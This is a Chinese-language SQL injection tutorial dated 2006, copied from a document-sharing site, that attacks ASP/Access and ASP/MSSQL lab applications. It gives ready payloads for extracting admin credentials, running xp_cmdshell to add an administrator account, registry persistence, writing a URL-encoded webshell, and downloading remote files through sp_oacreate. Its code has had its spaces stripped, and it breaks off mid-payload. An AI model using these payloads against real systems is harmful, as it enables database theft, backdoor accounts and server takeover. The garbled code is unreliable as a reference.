主流数据库sql注入攻击原理与实践图.docx
《主流数据库sql注入攻击原理与实践图.docx》由会员分享,可在线阅读,更多相关《主流数据库sql注入攻击原理与实践图.docx(58页珍藏版)》请在冰豆网上搜索。
主流数据库sql注入攻击原理与实践图
Sql注入攻击技术初探
整理:
Blackhumor
Site:
2006.6.19完稿
简介:
sql注入一般针对基于web平台的应用程序由于很多时候程序员在编写程序的时候没有对浏览器端提交的参数进行合法的判断,可以由用户自己修改构造参数(也可以是sql查询语句),并传递至服务器端获取想要的敏感信息甚至执行危险代码和系统命令就形成了sql注入漏洞,时至今日任然有很大一部分网站存在sql注入漏洞,可想而知sql注入攻击的危害,下面就目前sql注入攻击技术进行总结,让我们更加了解这种攻击与防御方法
一、access数据库注入攻击技术
目前国内很大一部分网站都是采用asp+access搭建成的
本文演示网站是在虚拟机搭建的一套留言板程序
http:
//192.168.80.128:
8181/bbs/index.asp(留言板首页)
点击公告连接
此时注意观察地址栏http:
8181/bbs/gshow.asp?
id=1
Gshow.asp后面跟了一个id参数,其值为数字1,下面我们来看一下服务器端的gshow.asp中的读取公告内容的代码
<%setrs=server.CreateObject("adodb.recordset")
sql="select*fromgonggaowhereid="&request.QueryString("id")
rs.opensql,conn,1,3
ifrs.eoforrs.bofthen
response.write("暂无公告内容")
else
%>
<%=rs("titles")%>
<%=rs("content")%><%=rs("addtime")%>
<%
endif
rs.close
setrs=nothing
可以很明显的看到程序在接收到浏览器端传递过来的id参数时,没有经过任何过滤就直接进入数据接查询了,那么我们怎么来通过这个漏洞来获取我们想要的信息呢,测试之前我们是不知道对方所使用的数据库类型也不知道数据库里面有哪些表、字段等等(类似blackboxtest),一般情况下asp可以与access和mssql数据库结合,首先我们来判断一下数据库类型
在id参数后面加上andexists(select*frommsysobjects)
注:
mysysobjects是access的系统表
完整的测试语句:
id=1andexists(select*frommsysobjects)回车提交到服务器端
如图,根据服务器返回结果,(MicrosoftJETDatabaseEngine错误'80040e09'不能读取记录;在'msysobjects'上没有读取数据权限。
/bbs/gshow.asp,行11)说明存在msysobjects表,也就是说后台是采用的access数据库(若服务器返回[Microsoft][ODBCSQLServerDriver][SQLServer]对象名'msysobjects'无效。
则说明是sqlserver数据库,相关方法会在下面讲述,这里重点讨论access数据库)
下面我们来进一步获取我们想要的信息一般网站重要的信息就是后台管理员登陆帐号密码了,我们提交http:
id=1andexists(select*fromusers)(判断数据库中是否存在users表)
根据图中返回结果提示users表不存在,那么我们继续来提交
id=1andexists(select*fromadmin
服务器端返回的数据和http:
id=1一样
这是因为参数一起带入数据库里面就变成了select*fromgonggaowhereid=1andexists(select*fromadmin)由于存在admin表条件成立就和select*fromgonggaowhereid=1的查询返回结果一样了,找到了admin表现在就以此类推猜测字段
提交http:
id=1andexists(selectuserfromadmin)
服务器返回”至少一个参数没有被指定值”
说明不存在user字段,继续提交http:
id=1andexists(selectadminfromadmin)
服务器返回正常,说明admin表里面存在字段”admin”(这个字段一般就是管理员登陆名称)
再提交
id=1andexists(selectpasswordfromadmin)
说明存在password字段(就是登陆密码了),继续猜测第一个字段内容长度
id=1and(selecttop1len(admin)fromadmin)=5得到下图所示的页面说明长度为5
现在可以根据得到的信息猜解字段内容了,具体方法就是and(selecttop1asc(mid(admin,x,1))fromadmin)>x将表中第一条记录指定字段内容的某个字符的ascii值进行比较,以此类推从而猜测出字段内容本文中提交
id=1and97=(selecttop1asc(mid(admin,1,1))fromadmin)
这种方法手动来输入很浪费时间,下面介绍另外一种高效率的方法,unionselect--联合查询.
小知识:
UNION运算符可以将两个或两个以上上SELECT语句的查询结果集合合并成一个结果集合显示,即执行联合查询。
UNION的语法格式为:
select_statement
UNION[ALL]selectstatement
[UNION[ALL]selectstatement][…n]
其中selectstatement为待联合的SELECT查询语句。
ALL选项表示将所有行合并到结果集合中。
不指定该项时,被联合查询结果集合中的重复行将只保留一行。
联合查询时,查询结果的列标题为第一个查询语句的列标题。
因此,要定义列标题必须在第一个查询语句中定义。
要对联合查询结果排序时,也必须使用第一查询语句中的列名、列标题或者列序号。
在使用UNION运算符时,应保证每个联合查询语句的选择列表中有相同数量的表达式,并且每个查询选择表达式应具有相同的数据类型,或是可以自动将它们转换为相同的数据类型。
在自动转换时,对于数值类型,系统将低精度的数据类型转换为高精度的数据类型。
在包括多个查询的UNION语句中,其执行顺序是自左至右,使用括号可以改变这一执行顺序。
例如:
查询1UNION(查询2UNION查询3)
已知数据库中有两个表(gonggao,admin)其中test表结构和内容如下
“公告”表里面有5个字段,admin里面有3个字段
在sql视图中执行查询语句
select*fromgonggaowhereid=1unionselect1,2,3,4,5fromadmin,(5是gonggao表的字段个数)返回下图所示
查询结果返回的第一条数据是1,2,3,4,5
而程序将第一次查询到的数据输出到网页
<%="标题:
"&rs("titles")%>
<%="内容:
"&rs("content")%><%="发布时间:
"&rs("addtime")%>
在浏览器地址栏输入
id=1unionselect1,2,3,4,5fromadmin返回如下
结合数据库表和代码来看在网页中输出了titles、content、addtime这三个字段内容,在表中就是2,3,4的位置
接下来我们把2、3、或4输出的地方换成我们想要查询到的管理员信息,上面我们已经知道了管理员表里面存在admin、password字段,构造语句
id=1unionselect1,admin,password,4,5fromadmin
这样就获取了管理员表admin中的数据,有了这些信息接下来能够干什么事情大家都清楚了吧。
(利用查询出来的管理员帐号登陆可以进行非法管理)
细心的读者会提问怎样知道字段个数的。
那么怎样去判断字段个数呢,有两个方法:
一个就是用oderbyx排序(X为猜测的字段个数,返回正常则说明表中字段个数大于或等于x),本例中在存在注入漏洞的地址后面加上orderby4
根据图中返回信息可以判定字段数>=4,继续提交orderby6
如图,出现了错误提示,说明字段数是小于6的,再提交orderby5
返回正常页面结合上面就可以断定字段数为5了,再使用unionselect即可查询出想要的信息
;另一个是用unionselectx,x来累加猜测
如果返回上图所示的错误信息就累加,直到页面输出数据的地方出现数字
然后再将字段名替换数字就能够实现快速得到数据库信息了。
二、Mssql注入技术
目前mssql数据库在web应用程序开发中也占了很大一部分比例,很多脚本语言都能够与之相结合,
下面来介绍基于asp+Mssqlweb环境下的注入攻击技术,本文测试平台为一套新闻发布程序
主界面如下
点击进入新闻连接http:
8181/aspsql/news.asp?
先来分析下news.asp的读取数据代码
DimrsCate
'定义记录集对象
Setrs=Server.CreateObject("ADODB.RecordSet")
SetrsCate=Server.CreateObject("ADODB.RecordSet")
'设置SQL语句,读取指定的新闻记录
sqlString="SELECT*FROMNewsWHEREId="&Request("id")
rs.OpensqlString,Conn,1,3
'替换新闻正文中的特殊标记
rqtContent=rs("content")
<%=stitle%>
<%=RS("title")%>
<%=RS("posttime")%>
rs.Close
Setrs=Nothing
同样是接受客户端提交来的参数id没有经过任何过滤就进入了数据库查询,就导致注入漏洞产生。
下面开始测试
首先在参数后面提交单引号’服务器马上返回下图所示的典型的错误提示
这是因为此时的查询语句变成了
“Select*fromnewswhereid=1’”有未闭合的单引号,根据错误提示看到了sqlserver字样因此可以判断后台使用了mssql数据库,(也可以继续用and1=1和and1=0根据服务器返回结果是否一样来判断是否存在注入,本文中程序代码是存在注入的所以就不多加测试)
可以使用andexists(select*fromsysobjects)来判断,sysobjects是mssql系统自带的表).
再来提交
查询语句变成select*fromnewswhereid=1andsystem_user=0
其中system_user是查询当前连接数据库的用户名
。
返回值是字符型,而我们的语句后面就变成了andsa=1,sa是字符型数据,而1是int(整型),二者进行比较的时候因为类型不匹配数据库就会报错
根据返回信息,我们得知了当前连接数据库的用户名(也可以使用and1=(SELECTIS_SRVROLEMEMBER('sysadmin'));--如果返回正常则说明是sa权限),sa为数据库用户中最高权限,而且默认也是系统权限,有了系统权限对服务器安全威胁是相当高的,假如数据库和web服务器是同一个服务器,默认情况下我们就可以通过mssql自带的存储过程对整个服务器进行控制
xp_regread注册表读取
xp_regwrite写入注册表
xp_dirtree列目录
xp_enumdsnODBC连接
xp_loginconfig服务器安全模式信息
xp_makecab创建压缩卷
xp_ntsec_enumdomainsdomain信息
xp_terminate_process终端进程,给出一个PID
xp_cmdshell(利用此存储过程可以直接执行系统命令)
我们先来判断一xp_cmdshell存储过程是否存在,在浏览器里面提交
id=1and1=(selectcount(*)FROMmaster.dbo.sysobjectswherename='xp_cmdshell')
selectcount(*)frommaster.dbo.sysobjectswherename=’xp_cmdshell’此语句查询系统表msobjects里面存在名称为xp_cmdshell的记录数,返回是1,整个语句变为1=1成立,数据库就不会报错,所以此页面返回正常
如果此扩展存储不存在,我们可以用execsp_addextendedprocxp_cmdshell,'xplog701.dll'来恢复,要禁用的话可以用execsp_dropextendedproc'xp_cmdshell'
继续来进一步利用,假如数据库服务器已经开启远终端服务,允许用户远程管理计算机,我们直接用存储过程执行系统命令添加一个管理员帐号即可登陆服务器
接下来开始测试添加帐户,在浏览器提交
id=1;execmaster..xp_cmdshell’netusertestwestone/add’(添加一个用户名为test密码为westone的用户)
没有报错继续提交http:
id=1;execmaster..xp_cmdshell'netlocalgroupadministratorstest/add'—(将添加的用户添加至管理员组)
下面来连接一下服务器终端
输入用户名test和密码westone就可以对服务器进行远程非法控制了,上面的方法虽然执行了命令,但是看不到执行回显结果,而且有时候服务器没有开启远程终端服务或者是默认端口被管理员修改,我们则可以创建一个临时表,将命令执行结果插入到临时表里面,然后读取临时表里面的内容就看到回显结果了。
具体实现过程如下,在浏览器依次提交
id=1;droptableblack;createTABLEblack(resultvarchar(7996)NULL,IDintNOTNULLIDENTITY(1,1))--
id=1;insertintoblackexecmaster..xp_cmdshell'ipconfig/all'--
id=1and(selectresultfromblackwhereid=1)>0--
and(selectresultfromblackwhereid=1)>0—依次更换后面的id来查询获取命令执行结果
SA权限可以做的事情还有很多比如调用xp_regwrite写入注册表
;xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','black','REG_SZ','netusertestwestone/add'(这里是写入注册表启动项,系统启动后就会运行”netusertestwestone”命令在服务器上添加一个test帐户)
下次登陆的时候就服务器就多了一个test帐户了
还可以用另外一种方式来执行系统命令
首先开启沙盒模式:
id=1;execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
然后利用jet.oledb执行系统命令
id=1;select*
fromopenrowset('microsoft.jet.oledb.4.0',';database=c:
\windows\system32\ias\ias.mdb','selectshell("netuserwestonewestone/add")')
注:
如果注入点的参数是integer型的就用ias数据库,如果是string型的就dnary.mdb,如果是win2k系统,路径就是x:
\winnt\system32\ias\ias.mdb,x是系统路径
下面是关于沙盒模式的简介,更详细的资料在
为了帮助增强数据的安全性,可以选择以沙盒模式运行Access2003。
在沙盒模式下,Access仅计算字段属性和控件中那些安全的表达式。
如果表达式未使用恶意用户可用来访问他们未得到授权的驱动器、文件或其他资源的那些函数或属性,则可以认为该表达式是安全的。
例如,函数Kill和Shell可被用于损坏计算机中的数据和文件,因此,认为它们是不安全的。
以沙盒模式运行Access时,调用这些函数或属性的表达式将会导致错误信息。
Sa权限还能执行sp_makewebtask(创建一项生成HTML文档的任务,该文档包含执行过的查询返回的数据。
更多相关资料点击)在入侵测试过程中,可以用这个扩展存储来将一句话木马写入到服务器磁盘,一般是写入web目录,先将一句话木马转换成url格式
id=1;exec
sp_makewebtask'c:
\inetpub\wwwroot\aspsql\no.asp','select''%3C%25%65%78%65%63%75%74%65%72%65%71%75%65%73%74%28%22%76%61%6C%75%65%22%29%25%3E'''--
|
就这样成功得到一个webshell。
Sa权限还可以调用sp_oacreate存储过程来完成更多功能,比如远程下载文件
id=1;DECLARE@Bvarbinary(8000),@hrint,@httpINT,@downINTEXECsp_oacreate[Microsoft.XMLHTTP],@httpoutputEXEC@hr=sp_oamethod@http,[Open],null,[GET],[http:
8181/0.txt],0EXEC@hr=sp_oamethod@http,[Send],nullEXEC@hr=sp_OAGetProperty@http,[responseBody],@BoutputEXEC@hr=sp_oacreate[ADODB.Stream],@downoutputEXEC@hr=sp_OASetProperty@down,[Type],1EXEC@hr=sp_OASetProperty@down,[mode],3EXEC@hr=sp_oamethod@down,[Open],nullEX
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1